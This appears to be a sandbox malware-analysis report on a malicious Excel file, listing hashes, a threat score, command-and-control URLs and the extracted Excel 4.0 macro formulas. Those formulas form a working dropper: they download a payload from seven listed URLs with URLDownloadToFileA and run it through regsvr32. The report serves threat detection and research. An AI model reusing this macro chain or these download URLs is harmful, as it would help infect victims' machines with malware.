ac40443345adbe6796d5ae7cf703fad3a588410a130028256d83b0d2a2ee8501

General

Target

ac40443345adbe6796d5ae7cf703fad3a588410a130028256d83b0d2a2ee8501
Size

35KB
Sample

241121-ag6xtswpbv
MD5

7c0afa733c50e26deee2c2b674a1a119
SHA1

50ca7fcfa7fe61a789297db05fa67e4beb0f6ede
SHA256

ac40443345adbe6796d5ae7cf703fad3a588410a130028256d83b0d2a2ee8501
SHA512

b8d85dc2d841e6cdb2104466a81d65d9141a3522f5f82f3a6dc527a8bd10616540b1cabdae6abc0f0c1a6b38d412e6a34b4d98465b6bda181dc559585848aaaa
SSDEEP

768:zrtDp5eCAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooNQ3:zrtlgCUOZZ1ZYpoQ/pMAIY

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/

https://brutobrasil.com.br/pdf/SSscCUKBvL/

https://mdmd.fun/wp-includes/Y00y/

https://appanwendung.com/wp-admin/dvDn7/

https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/

https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/

https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/SSscCUKBvL/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mdmd.fun/wp-includes/Y00y/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appanwendung.com/wp-admin/dvDn7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://fikti.bem.gunadarma.ac.id/monon/OAH7XngpmWiT1vLkmP/

xlm40.dropper

https://brutobrasil.com.br/pdf/SSscCUKBvL/

xlm40.dropper

https://mdmd.fun/wp-includes/Y00y/

xlm40.dropper

https://appanwendung.com/wp-admin/dvDn7/

xlm40.dropper

https://hotel-boehmerwaldhof.at/wp-admin/mmhZydbNdqVxzc/

xlm40.dropper

https://camaravotuporanga.sp.gov.br/conteudo/LFT3r6eLqdvHvD/

xlm40.dropper

https://dnvqqk.cn/about/fW4aBbnaoOIDwjmpuqf/